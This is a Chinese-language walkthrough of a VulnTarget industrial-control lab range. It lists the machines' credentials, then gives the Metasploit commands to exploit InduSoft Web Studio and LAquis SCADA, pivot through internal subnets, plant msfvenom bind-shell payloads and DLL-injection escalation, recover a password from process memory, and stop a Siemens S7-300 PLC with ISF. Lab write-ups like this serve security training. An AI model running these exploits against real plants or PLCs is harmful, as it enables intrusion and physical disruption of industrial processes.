机器密码: winxp_HMI:vuln/Admin@123. winxp_ZJQ:winxp:winXP_ZIJINQIAO 账号1:Administrator密码1:#xYpo3;W6aS 账号2:vulntarget密码2:#xYpo3;W6aS win7_ForceControl:win7/admin win7_S7-Client:tegratnluv/Vu1Nt@rG3t9Gg win7_S7-Server:Vu1NT4r93t/welcometoICS 拓扑图:
这里就按拓朴图中的来修改VMnet的配置,并恢复快照至初始状态,若还有问题可以跟着搭建文档来一遍
扫描存活主机和端口,发现开放了80、135、139、445、1234、4322端口
访问80端口报404,如下:
访问1234端口没反应,再访问4322端口还是没反应,毫无思路,这就是工控吗.jpg
1234端口可能对应LAquis的服务,但是这个服务存在web页面,访问并没有存在web页面 4322端口可能运行 InduSoft Web Studio 的嵌入式HMI软件,存在msf模块可以直接exp,这里我们导入模块,并使用配置好msf攻击模块
我们直接利用msf来打这个嵌入式HMI软件-InduSoft Web Studio RCE漏洞(一个2011年的工控CVE漏洞)但是第一次没打成功,直接整懵逼了😅
后面把浏览器关闭访问,再执行一次发现可以了但是不会反弹shell(人麻了,这是为什么🥲
use exploit/windows/scada/indusoft_webstudio_exec
set rhost 192.168.150.144
run
最后无脑恢复快照,再尝试几次后突然就又行了🙌
发现192.168.90.40的网卡,于是先上传frp建立代理,发现这是32位的没法用,问问AI它告诉我frp没有32位的😄
meterpreter > upload /root/web/frpc.exe
meterpreter > upload /root/web/frpc.ini
meterpreter > execute -f frpc.exe -c ./frpc.ini &
[-] stdapi_sys_process_execute: Operation failed: is not a valid Win32 application.
所以直接msf添加路由以及sock代理
run get_local_subnets
run autoroute -s 192.168.90.0/24
run autoroute -p
use auxiliary/server/socks_proxy
# set srvport 2022
run
再给kali设置代理
vim /etc/proxychains4.conf
socks5 127.0.0.1 1080
接着扫描一些常见端口,可以发现存活主机192.168.90.110开放了135、139、445端口
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.90.0/24
set ports 22,23,80,135,139,445,1433,3306,3389,8080
run
再使用这个模块来探测,指定该IP扫一下端口发现开放了1234、1235、3389端口
访问1234端口发现存在LAquis服务,而1235端口无法访问,因此我们就只能将1234端口作为突破口
搜索相关漏洞可以发现存在任意文件读取漏洞可利用
LAquis SCADA是巴西LCDS公司的一套SCADA(数据采集与监视控制)系统。该系统主要用于对设备进行数据采集和过程控制。4.1.0.4150之前版本的LCDS Laquis SCADA 允许通过打开特制的报告格式文件(.lgx)来执行脚本代码。这可能导致代码执行、数据泄露或系统崩溃
msf如果没有可以先去下载一下漏洞利用脚本并将其放入/usr/share/metasploit-framework/modules/exploits/windows/scada/
路径下,便于归类和查找(文件名可以随意修改
打开msf输入如下命令即可
reload_all
参数说明: DEPTH 到达基本目录的级别,(也就是有多少个../),如果安装时未更改路径,默认就是向上跳转10级。如果更改路径漏洞利用不成功,可以根据实际情况调整此参数。 FILE 这是要下载的文件,与上面的DEPTH参数结合组成完整的文件路径。 Proxies 端口[,类型:主机:端口] […]的代理链 RHOSTS 目标主机,范围CIDR标识符或具有语法’file:‘的主机文件 RPORT 目标端口(TCP),软件默认安装是1234,不排除更改的可能。 SSL 协商出站连接的SSL / TLS VHOST HTTP服务器虚拟主机
这里我们只需要修改file和rhost这两个参数即可(其中file文件路径可在之前的session中桌面的工作日记.md
(前面msf中也下不了这个中文文件,不过可以传个🐎用蚁剑或者cs连上下载文件)中找到关键信息位于C:\document\information.txt
use exploit/windows/scada/LAquis_cve_2017_6020
set file document/information.txt
set rhosts 192.168.90.110
run一下即可得到文件
查看发现kali中会乱码,应该是编码问题,拖到Windows下就正常了,得到了一些主机的账密
这里的主机1应该就是前面打的那个奇怪的嵌入式HMI软件-InduSoft Web Studio的机子,而主机2应该就是现在打的这台,尝试3389成功进入,并且发现还存在192.168.95.66的网卡
在桌面还发现有个ProgMan的软件,找到文件位置可以看到他的版本信息是6.5,是个紫金桥的工程管理器
搜一下相关漏洞发现有DLL劫持漏洞(一开始搜ProgMan没找到🤐
准备工作:上传procexp.exe(现在的v17版本在winxp中用不了,可以去其他站点下载低版本的就支持winxp)与dllinject.exe(同样需要去其他站点下个老版本的才能用)文件,上传文件需要换成Windows下rdp进行传输,并按照下图配置后连接rdp即可成功复制粘贴进去
接着寻找可劫持进程ProgMan.exe的dll,利用msf基于dll劫持实现提权
1.开启进程ProgMan.exe,用procexp.exe查看进程加载的dll
2.与注册表项进行对比
3.利用msfvenom指令创建反弹shell的dll文件,使用正向连接并将其上传
msfvenom -p windows/meterpreter/bind_tcp LPORT=1234 -f dll > ws2help.dll
4.利用msf中的handler模块开启监听
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.90.110
set lport 1234
5.利用DllInject.exe将ws2help.dll注入到进程
6.注入后msf成功上线,但是我这里尝试了一波都没反应的🤡在procexp中查看发现已经注入了呀
后面说是重启一下靶机就可以成功上线实现提权(不过我一直没成功😴
前面我们还有个主机3的账密没用到,于是我们就再扫一下发现存活两台主机192.168.95.100和192.168.95.110
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.95.0/24
set ports 22,23,80,135,139,445,1433,3306,3389,8080
尝试一下可知主机3是192.168.95.110
并且根据前面得到的提示我们需要在力控软件中找到密码
终于来到这里了,可是却没有得到主机4的账户密码,但是根据可靠消息得知,主机4的账户、密码可能在力控软件的用户信息里,你能找到他吗?
接着在功能 - 用户管理中找到个系统管理员级的用户tegratnluv,但是密码看不了
不过这里有修改功能,我们可以通过修改密码在后面加个test保存然后IDA动态调试找到密码对应的hex(需要以管理员打开IDA,不然后面调试不了该进程)
接着调试进程,点击Debugger - Attach - Local Windows debugger
选择指定进程如下:
然后按alt+b
调出搜索,搜索对应的hex即可(这里需要注意要改个不常见的字符串,不然像我这test有一堆🥲
不过第一个就成功找到密码:Vu1Nt@rG3t9Gg
根据前面得到的账密成功连接rdp,发现开着个S7COMM的客户端模拟器,确定是上位机(没开防火墙
并发现还存在网卡172.16.1.37
于是我们用msf做个正向马并上传
msfvenom -p windows/meterpreter/bind_tcp lport=4444 -f exe > test.exe
开启监听成功上线
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.95.100
set lport 4444
接着找到下位机的主机172.16.1.3
再设置一下自动路由
run post/multi/manage/autoroute
接下来的操作就不是很懂了,这个不是可以直接点stop停止吗😂
这里我们在上位机中可以看到S7的服务端正在运行,我们的目的就是要把下位机打停机
然后使用ISF来进行攻击,已知这时S7-300的模拟器,ISF中存在这一型号的利用模块可以直接利用,ISF的工程项目,输入如下命令即可成功让其停止工作
python2 isf.py
use exploits/plcs/siemens/s7_300_400_plc_control
set target 172.16.1.3